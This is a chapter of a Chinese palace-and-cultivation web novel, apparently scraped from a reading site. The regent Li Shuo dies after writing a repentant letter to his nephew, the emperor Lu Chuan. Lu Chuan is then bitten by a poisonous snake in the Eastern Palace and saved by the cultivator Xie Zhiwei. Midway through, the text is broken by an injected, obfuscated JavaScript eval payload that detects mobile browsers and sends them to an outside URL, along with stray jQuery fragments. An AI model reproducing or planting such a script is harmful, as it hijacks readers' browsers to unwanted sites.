厉朔死了,剥夺全部爵位、封号,宗室除名,因其没有子嗣,没有封地,甚至没有自己的府邸,倒也省去了抄家清算的麻烦。
长宁宫是厉朔唯一拥有过的东西,他从皇子,到安朔王,再到后来的摄政王,住所居然一直都在宫里。
皇祖父不知出于什么样的心理,先太子死后,既没有立新太子,也没有给剩下的两个儿子封号、封地,或许就是这个原因,导致厉朔一直以为自己是有资格登上皇位的。
结果皇祖父忧思过度而死后,遗诏上赫然写着让三皇子登基,二皇子赐封号安朔,没有封地,没有赐府邸,甚至“安朔”这个封号都看着像是随随便便取的。
立诏书的时间是先太子去世后一月。
厉朔死后该如何处理的事情最后全部交给了升任内阁首辅的赵行简。
陆川于延和殿中重新取出厉朔死前让宗人府逞上来的折子,其实比起折子,他写的更像是一封家书/
吾侄壑儿亲览:
一别数月,山河遥远,不知壑儿安好?吾日夜思念,辗转反侧。
犹记当年,吾初见壑儿,叹,不似汝父母,似吾,被汝母追打,但仍心中欢喜,时时照看。汝自幼体弱,吾常怀惴惴,长宁宫、昭明宫、东宫,三处相去未远,索性日日往之,时时看护,方可安心。
壑儿幼时,甚为可爱,日日绕吾膝下,约一岁时开口,唤吾皇伯,口齿清晰,软糯清甜,犹在耳畔。岁月荏苒,韶光流转。壑儿今岁十年有七,风骨磊落,端方正清,已不似吾之所出,吾甚欣慰。
吾半生沉迷权势,杀兄杀弟杀友,步步是歧途,一朝败露,终与壑儿反目成仇。回首前尘,方知浮生若梦皆虚妄,一生谋算尽是空。自知罪孽深重,悔恨交集。
今日吾命不久矣,尘世繁华已无有留恋,余生唯一执念便是壑儿,临终所愿亦是能与壑儿见最后一面。
字字肺腑,盼壑儿至,吾将与汝忏悔,了却此生执念。
厉朔绝笔
陆川翻阅完毕,如同往常每次看完暗信那样,将厉朔的折子点燃扔进了一旁的铜盆里。
纸燃得很快,不肖片刻黑烟散去,只留余灰片片。
夜色侵庭,月明星稀。
陆川屏退左右,独自提了盏灯在长廊里游荡,偶有当职的宫人迎面撞上,差点以为是刺客,看清是陆川后纷纷吓得跪地求饶,如此两次三番后,陆川只好扭身随便进了一间院落。
匆忙将门合上后才发现,此处竟然是东宫。
两岁后五岁前,陆川都住在东宫,如今此处空置了竟有十余年。好在东宫毕竟是皇宫里身份象征较为特殊的一处,平日里多有宫人打扫,不显荒芜。
提灯穿行其中,摆设皆和他离开前一致,让他模糊的记忆渐渐清晰。
那处的大树曾有一个形状别致的鸟窝,父皇踩在石桌上将他举过头顶去看窝里的小鸟,皇叔嘴上埋怨说下次不要做这种事却一直站桌边护着,母后则懒懒地躺在摇椅里晒太阳让大家都小声些别吵她睡觉。
可惜他只在东宫住了三年不到,父皇母后崩逝,他登基即位,也顺势搬进了永寿宫,从此便是一国之君。
只有厉朔,从始至终都在长宁宫,做皇子时如此,做安朔王时如此,做摄政王时也没有提出过要搬出去。
从提灯里分出一点火种到墙上挂着的灯盏里,东宫幽黑的殿内变得昏暗,陆川内心再三提醒自己,你已经不是当年那个可以躲进衣橱里的孩子了,但他还是不受控制地朝那个巨大的木柜走去。
柜橱占据了一整间内室,每一扇柜门上都精心雕刻着繁复的花纹,陆川站在那个修了暗格的柜门前,缓缓抬手抚上,自上而下,拉住金黄圆环,轻轻把门打开,提着灯笼去照。
腐朽陈旧的味道扑面而来,里面空空荡荡,没有收纳任何物品。
他蹲下,摸索着去找暗格的开关。
“啪嗒。”
暗门松动,那个曾经容纳过一个五岁孩子的暗格展现在眼前,现在的陆川已经进不去了。
嗤笑一声,陆川靠坐在橱柜前,身后是再也躲不进去的暗格,眼前是空旷幽荡的大殿。
“……嘶嘶……”
忽然,有声音在手边响起,陆川皱眉去看,一条细长黑影几乎蹭着他游动,猝不及防的阴凉触感袭上手背,陆川本能后仰,仓皇后撤两步。
但正是这一动,彻底惊扰了小蛇,骤然弹起,快到只能看到一道残影,利齿狠狠刺破皮肉,鲜血瞬间沁出。
陆川腕间骤麻,他这才反应过来,甩出袖间的匕首,一刀将长虫斩为两段。
刺骨的阴寒从伤口开始蔓延,陆川皱眉起身,提着灯往殿外走。
这蛇有毒,他必须尽快出去,叫人喊太医。
忽然,一阵剧痛从心口传来,似乎有什么东西在他血脉间碰撞绞杀,陆川立时扑倒在地,灯笼甩出去老远,灯油翻溅开,火瞬间将纸笼燃起,火光照得陆川眼睛生疼。
他按着胸口想要爬起来,但疼痛很快从四肢百骸里冒出,席卷五脏六腑,天旋地转,气血翻涌,一口浓黑鲜血骤然喷出,燃脏了燃烧的灯笼。
陆川倒在地上,再没有了起来的力气。
偌大空旷的东宫,无人值守,没有随侍的宫人,唯有一点火光照亮了黑暗,他忽然想到母后投水的那个夜晚,是不是也像他现在这样,在冰冷的池水中平静地迎接死亡。
越来越多的血从口中涌出,意识也逐渐涣散,身体愈发冰寒,唯有胸口一点暖意贴着他。
他用尽最后一丝力气伸手摸进自己怀里,将温热发光的东西握紧,缓缓闭眼,还好,还好,最后的时刻,他也不算一无所有。
“陆川?!”
好熟悉的声音,难道人死之前是会出现幻觉的吗?
那他要亲眼看一看这个幻觉才行,不然太亏了……
一道力量将他拉起,他似乎落到了那人怀里,一股清淡的梧桐花香沁入鼻尖,他努力睁开眼睛。
火似乎灭了,满目黑沉中,解知微一袭白衣竟像是镀了一层月光。
长夜沉沉,万物失色。
但他的月亮月光溶溶。
母后,原来死亡并不孤独。
————————————
“……应该没事了。”
“多谢仙尊!”
眼前一片黑暗,但耳边传来的两道说话声都非常熟悉。
像是阿微和高明。
阿微为什么会在这里,等会儿,这里是哪里?他不是应该在东宫么?
他记得自己将厉朔的折子烧了,然后在皇宫里游荡,因为不想总是碰上巡夜的宫人,他晃进了东宫,结果在伤春悲秋的时候被一条有毒的蛇咬了,临死之际产生了幻觉,看到分别两月的阿微一袭白衣来拯救自己……
难道不是幻觉?!
陆川
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764798|204246||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
猛地睁开眼睛,刺眼的亮光又灼得他只能闭上,但这么点小动静已经足够吸引本就在关注这边的解知微和高明。
两人皆同时快步向前。
“陆川?”
“君上!”
真的是阿微!还有淡淡的梧桐花香居然还没有散去。
陆川想要睁眼,但黑暗中待久了,适应光明并没有那么容易,他把手伸出被子,着急道:“阿微?”
一双温暖的手轻轻覆上来,将他的乱晃的手裹住,“我在。”
陆川平静下来,他仔细感受着那份温度。
解知微的手似乎是常年练剑的原因,手掌和指关节处都有厚薄不同程度的茧。
片刻后,陆川用力反握住,将她往自己这边拉。
解知微踉跄了一下,顺势坐到床边。
另一道沉稳的脚步声渐渐远去。
一直试图睁眼的陆川此时却固执地紧闭双眼。
“怎么?眼睛不舒服吗?”解知微询问的声音柔和轻缓。
陆川摇摇头,捏捏了紧握的手指,像是在确认什么。
“你是还没睡醒吗?”解知微笑道。
陆川顿住,终于颤动着迎接光明。
解知微笑意盈盈,真真实实就坐在他床边。
“……阿微?”陆川像是才反应过来,惊道:“你怎么会来!”
解知微移动视线,陆川也跟着看去,这才看到自己枕边的竹牌,瞪大了眼睛:“这个不是驱邪的吗?”
若他没记错,当初解知微给他的时候说的是看他倒霉,需要去去晦气。
解知微笑着点头,“我在上面散了一点灵力,如果你出事了我能感知到。”
“这样啊……”陆川拖长声音,瞥了眼解知微,又道:“那严姑娘出事的话,你也会赶过去吗?”
“啊?”虽然不知道为什么会扯上严熙,但解知微还是老老实实摇头,“这两块竹牌上的力量不同,若她出事,我是感知不到的。”
陆川这块竹牌的灵力上封了解知微一丝神魂,那日她还未从天玄宗出来便感受到了神魂震动,立刻赶到这里来,连师祖叮嘱的要喊师尊去看地脉的事情都忘了个一干二净。
之后她及时用传讯符给师尊,却接到了对方“不!我什么都不知道!你不要跟我说!”的回复,再然后就怎么也联系不上了,估计又跑哪里躲起来了。
躺在床上的陆川听了解知微的话已然大好,他满脑子都是阿微给他的和给别人的不一样。
此刻面色红润,气血充足,只觉身心畅快,体力充沛,似乎立刻就能从床上跳起来,出去批阅个百来份的奏折。
但他很快又冷静下来,解知微是为了救他才来的,那她说不定很快又要离开,想到这里,面色立刻沧桑许多,整个人都憔悴起来。
解知微看着他脸色变来变去,以为他余毒未清,急道:“怎么,你还有哪里不舒服吗?”
陆川丧着脸默默摇头,终是认命般问道:“阿微这次打算什么时候走?”
此话一出,解知微没有立即回答,陆川委委屈屈看向解知微,却见她脸上一片茫然,似乎从来没想过这个问题。
陆川立刻精神起来,“若是没有打算,阿微要不要在这里多留几日?”
“多留几日……”解知微低声重复了一遍陆川的话,又看向对方闪闪发亮的眼睛,点点头,轻声道:“好啊,那就,多留几日。”